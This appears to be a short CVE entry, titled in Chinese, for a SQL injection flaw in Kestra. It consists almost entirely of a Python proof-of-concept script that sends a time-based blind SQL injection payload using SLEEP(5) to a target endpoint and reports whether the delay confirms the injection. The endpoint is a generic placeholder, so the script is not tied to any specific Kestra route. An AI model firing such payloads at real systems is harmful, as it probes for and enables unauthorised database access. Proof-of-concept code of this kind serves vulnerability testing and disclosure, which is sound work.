CVE-2026-38428: Kestra SQL注入漏洞

import requests # Target URL (Replace with actual vulnerable endpoint) target_url = "http://target-host:8080/api/v1/vulnerable-endpoint" # Malicious payload to test SQL injection (Time-based blind) # Checks if the database pauses execution, confirming injection payload = "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -" # Send GET request with the malicious parameter params = { "id": payload } try: print(f"[*] Sending payload to {target_url}...") response = requests.get(target_url, params=params, timeout=10) # Check if the response time indicates successful execution if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection detected (Time-based).") else: print("[-] Vulnerability not detected or payload invalid.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")